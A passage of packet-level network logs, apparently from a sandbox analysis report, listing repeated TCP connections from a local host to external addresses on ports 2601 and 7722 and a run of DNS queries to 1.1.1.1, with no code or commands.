Jan 2, 2025 08:52:30.623927116 CET	59592	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:30.628772020 CET	2601	59592	45.200.149.167	192.168.2.13
Jan 2, 2025 08:52:31.429856062 CET	2601	59592	45.200.149.167	192.168.2.13
Jan 2, 2025 08:52:31.429924011 CET	59592	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:31.429959059 CET	59592	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:32.477955103 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:32.482762098 CET	2601	59594	45.200.149.167	192.168.2.13
Jan 2, 2025 08:52:32.482822895 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:32.483465910 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:32.488214970 CET	2601	59594	45.200.149.167	192.168.2.13
Jan 2, 2025 08:52:32.488261938 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:32.493072987 CET	2601	59594	45.200.149.167	192.168.2.13
Jan 2, 2025 08:52:33.294369936 CET	2601	59594	45.200.149.167	192.168.2.13
Jan 2, 2025 08:52:33.294449091 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:33.294480085 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:33.799375057 CET	52514	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:33.804311037 CET	7722	52514	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:33.804363012 CET	52514	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:33.806220055 CET	52514	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:33.806339979 CET	52514	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:33.810981989 CET	7722	52514	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:33.817312956 CET	52516	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:33.822201014 CET	7722	52516	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:33.822254896 CET	52516	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:33.839761972 CET	52516	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:33.839844942 CET	52516	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:33.844520092 CET	7722	52516	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:33.858684063 CET	7722	52514	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:33.888561010 CET	7722	52516	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:34.184683084 CET	7722	52514	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:34.184750080 CET	52514	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:34.209930897 CET	7722	52516	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:34.210617065 CET	52516	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:34.354851961 CET	55192	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:52:34.359632969 CET	2601	55192	23.94.242.130	192.168.2.13
Jan 2, 2025 08:52:34.360394955 CET	55192	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:52:34.361048937 CET	55192	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:52:34.365782976 CET	2601	55192	23.94.242.130	192.168.2.13
Jan 2, 2025 08:52:34.365828991 CET	55192	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:52:34.370646954 CET	2601	55192	23.94.242.130	192.168.2.13
Jan 2, 2025 08:52:43.557276964 CET	52520	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:43.559530973 CET	52522	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:43.562249899 CET	7722	52520	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:43.562300920 CET	52520	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:43.563456059 CET	52520	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:43.563540936 CET	52520	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:43.564389944 CET	7722	52522	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:43.564440012 CET	52522	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:43.568211079 CET	7722	52520	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:43.583694935 CET	52522	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:43.583796024 CET	52522	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:43.588536978 CET	7722	52522	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:43.610486984 CET	7722	52520	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:43.630538940 CET	7722	52522	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:43.927304983 CET	7722	52520	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:43.927367926 CET	52520	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:43.935632944 CET	7722	52522	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:43.935699940 CET	52522	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:44.371186972 CET	55192	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:52:44.462462902 CET	2601	55192	23.94.242.130	192.168.2.13
Jan 2, 2025 08:52:44.658761024 CET	2601	55192	23.94.242.130	192.168.2.13
Jan 2, 2025 08:52:44.659041882 CET	55192	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:52:53.558480024 CET	52524	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:53.563613892 CET	7722	52524	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:53.563719988 CET	52524	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:53.564474106 CET	52524	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:53.564585924 CET	52524	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:53.569258928 CET	7722	52524	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:53.610632896 CET	7722	52524	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:53.612498999 CET	52526	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:53.617394924 CET	7722	52526	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:53.617445946 CET	52526	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:53.634035110 CET	52526	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:53.634085894 CET	52526	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:53.638905048 CET	7722	52526	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:53.682598114 CET	7722	52526	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:53.950912952 CET	7722	52524	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:53.951011896 CET	52524	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:54.001559019 CET	7722	52526	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:54.001626015 CET	52526	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:58.565007925 CET	52528	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:58.569976091 CET	7722	52528	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:58.570030928 CET	52528	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:58.571495056 CET	52530	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:58.571943045 CET	52528	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:58.572024107 CET	52528	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:58.576267958 CET	7722	52530	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:58.576673985 CET	7722	52528	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:58.580368042 CET	52530	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:58.589838982 CET	52530	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:58.589915991 CET	52530	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:58.594661951 CET	7722	52530	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:58.618448973 CET	7722	52528	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:58.638436079 CET	7722	52530	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:58.941900015 CET	7722	52528	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:58.942085981 CET	52528	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:58.947701931 CET	7722	52530	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:58.947770119 CET	52530	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:08.567140102 CET	52532	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:08.571068048 CET	52534	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:08.572057009 CET	7722	52532	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:08.572113991 CET	52532	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:08.573497057 CET	52532	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:08.573592901 CET	52532	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:08.576848984 CET	7722	52534	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:08.576900959 CET	52534	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:08.579092979 CET	7722	52532	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:08.583139896 CET	52534	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:08.583224058 CET	52534	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:08.588726997 CET	7722	52534	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:08.623625994 CET	7722	52532	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:08.631119013 CET	7722	52534	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:08.937208891 CET	7722	52532	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:08.937277079 CET	52532	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:08.948553085 CET	7722	52534	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:08.948621035 CET	52534	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:15.963932991 CET	52536	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:15.968765020 CET	7722	52536	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:15.968815088 CET	52536	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:15.970483065 CET	52536	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:15.970545053 CET	52536	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:15.972472906 CET	52538	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:15.975280046 CET	7722	52536	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:15.977283955 CET	7722	52538	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:15.977334976 CET	52538	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:15.986604929 CET	52538	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:15.986741066 CET	52538	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:15.991444111 CET	7722	52538	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:16.018464088 CET	7722	52536	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:16.038439035 CET	7722	52538	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:16.349049091 CET	7722	52538	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:16.349117994 CET	52538	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:16.352878094 CET	7722	52536	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:16.352943897 CET	52536	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:23.572525024 CET	52540	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:23.577466965 CET	7722	52540	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:23.577534914 CET	52540	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:23.579884052 CET	52542	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:23.580284119 CET	52540	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:23.580344915 CET	52540	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:23.584615946 CET	7722	52542	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:23.585031033 CET	7722	52540	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:23.588552952 CET	52542	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:23.604028940 CET	52542	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:23.604101896 CET	52542	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:23.608773947 CET	7722	52542	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:23.630444050 CET	7722	52540	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:23.650630951 CET	7722	52542	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:23.948504925 CET	7722	52540	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:23.948594093 CET	52540	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:23.960712910 CET	7722	52542	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:23.960803032 CET	52542	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:28.574579954 CET	52544	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:28.579065084 CET	52546	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:28.736763000 CET	7722	52544	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:28.736784935 CET	7722	52546	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:28.736835003 CET	52544	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:28.736835003 CET	52546	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:28.737509966 CET	52544	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:28.737588882 CET	52544	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:28.740154028 CET	52546	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:28.740251064 CET	52546	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:28.745178938 CET	7722	52544	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:28.745188951 CET	7722	52546	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:28.786524057 CET	7722	52546	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:28.786535978 CET	7722	52544	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:29.116218090 CET	7722	52546	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:29.116290092 CET	52546	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:29.117160082 CET	7722	52544	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:29.117222071 CET	52544	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:30.965488911 CET	52548	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:30.970325947 CET	7722	52548	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:30.970381021 CET	52548	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:30.971206903 CET	52548	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:30.971272945 CET	52548	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:30.976001024 CET	7722	52548	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:31.018420935 CET	7722	52548	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:31.353179932 CET	7722	52548	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:31.353245974 CET	52548	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:38.581145048 CET	52550	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:38.586437941 CET	7722	52550	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:38.586508036 CET	52550	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:38.587275028 CET	52552	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:38.587958097 CET	52550	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:38.588042021 CET	52550	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:38.592336893 CET	7722	52552	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:38.592845917 CET	7722	52550	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:38.594254971 CET	52552	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:38.604039907 CET	52552	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:38.604147911 CET	52552	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:38.608831882 CET	7722	52552	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:38.638767004 CET	7722	52550	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:38.650672913 CET	7722	52552	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:38.955177069 CET	7722	52550	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:38.955245018 CET	52550	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:38.955871105 CET	7722	52552	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:38.956058979 CET	52552	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:44.716268063 CET	55192	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:53:44.721149921 CET	2601	55192	23.94.242.130	192.168.2.13
Jan 2, 2025 08:53:44.914681911 CET	2601	55192	23.94.242.130	192.168.2.13
Jan 2, 2025 08:53:44.914808035 CET	55192	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:53:45.978563070 CET	52554	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:45.983447075 CET	7722	52554	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:45.983526945 CET	52554	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:45.985414982 CET	52554	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:45.985471964 CET	52554	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:45.990289927 CET	7722	52554	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:46.007647038 CET	52556	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:46.012481928 CET	7722	52556	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:46.012533903 CET	52556	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:46.013515949 CET	52556	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:46.013602972 CET	52556	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:46.018306971 CET	7722	52556	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:46.030478954 CET	7722	52554	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:46.058403015 CET	7722	52556	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:46.356267929 CET	7722	52554	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:46.356329918 CET	52554	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:46.384533882 CET	7722	52556	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:46.384577036 CET	52556	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:53.582662106 CET	52558	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:53.587529898 CET	7722	52558	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:53.587588072 CET	52558	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:53.589806080 CET	52558	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:53.589871883 CET	52558	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:53.594718933 CET	7722	52558	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:53.608416080 CET	52560	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:53.613250017 CET	7722	52560	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:53.613298893 CET	52560	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:53.615534067 CET	52560	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:53.615596056 CET	52560	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:53.620316029 CET	7722	52560	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:53.638432026 CET	7722	52558	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:53.662417889 CET	7722	52560	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:53.956031084 CET	7722	52558	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:53.956119061 CET	52558	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:53:53.977452993 CET	7722	52560	107.175.130.16	192.168.2.13
Jan 2, 2025 08:53:53.977513075 CET	52560	7722	192.168.2.13	107.175.130.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 08:51:50.676119089 CET	36820	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:50.683377981 CET	53	36820	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:50.686662912 CET	47548	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:50.694700956 CET	53	47548	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:50.697827101 CET	50995	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:50.712177992 CET	53	50995	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:50.715168953 CET	44322	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:50.724014044 CET	53	44322	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:50.726891041 CET	35924	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:50.740621090 CET	53	35924	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:50.743439913 CET	40491	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:50.750366926 CET	53	40491	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:52.655575037 CET	55791	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:52.662908077 CET	53	55791	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:52.670238972 CET	35674	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:52.679560900 CET	53	35674	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:52.684811115 CET	34062	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:52.701109886 CET	53	34062	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:52.706001997 CET	60006	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:52.720696926 CET	53	60006	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:52.724528074 CET	48019	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:52.739626884 CET	53	48019	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:52.743511915 CET	50278	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:52.751998901 CET	53	50278	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:54.309902906 CET	39871	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:54.317276001 CET	53	39871	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:54.320144892 CET	60048	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:54.330137014 CET	53	60048	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:54.332721949 CET	59621	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:54.346628904 CET	53	59621	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:54.350552082 CET	38079	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:54.357667923 CET	53	38079	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:54.361047983 CET	51828	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:54.375432968 CET	53	51828	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:54.378874063 CET	46585	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:54.393405914 CET	53	46585	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:56.252262115 CET	33008	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:56.259304047 CET	53	33008	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:56.262092113 CET	47708	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:56.269551039 CET	53	47708	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:56.271590948 CET	52474	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:56.290576935 CET	53	52474	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:56.295475006 CET	59566	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:56.303567886 CET	53	59566	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:56.307837963 CET	44048	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:56.316277027 CET	53	44048	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:56.390126944 CET	40438	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:56.409388065 CET	53	40438	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:58.285906076 CET	40105	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:58.293210983 CET	53	40105	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:58.296113968 CET	50744	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:58.303201914 CET	53	50744	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:58.306191921 CET	47055	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:58.377737999 CET	53	47055	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:58.380641937 CET	52916	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:58.387830019 CET	53	52916	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:58.390502930 CET	52968	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:58.404037952 CET	53	52968	1.1.1.1	192.168.2.13
Jan 2, 2025 08:51:58.405705929 CET	60863	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:51:58.413288116 CET	53	60863	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:00.259641886 CET	37614	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:00.266596079 CET	53	37614	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:00.269464016 CET	32854	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:00.277970076 CET	53	32854	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:00.281557083 CET	58751	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:00.290076017 CET	53	58751	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:00.295474052 CET	41568	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:00.302911997 CET	53	41568	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:00.308034897 CET	43874	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:00.314891100 CET	53	43874	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:00.319001913 CET	55123	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:00.330864906 CET	53	55123	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:02.222906113 CET	44105	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:02.229952097 CET	53	44105	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:02.231597900 CET	60819	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:02.238447905 CET	53	60819	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:02.239703894 CET	43330	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:02.246902943 CET	53	43330	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:02.248119116 CET	38745	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:02.257051945 CET	53	38745	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:02.258336067 CET	54860	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:02.267357111 CET	53	54860	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:02.268882036 CET	48015	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:02.276087999 CET	53	48015	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:04.115041018 CET	53871	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:04.121983051 CET	53	53871	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:04.134443998 CET	38888	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:04.142060995 CET	53	38888	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:04.142855883 CET	40889	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:04.149761915 CET	53	40889	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:04.151475906 CET	48337	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:04.166582108 CET	53	48337	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:04.167711973 CET	51774	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:04.175017118 CET	53	51774	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:04.175664902 CET	50983	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:04.182718039 CET	53	50983	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:05.723354101 CET	39941	53	192.168.2.13	1.1.1.1
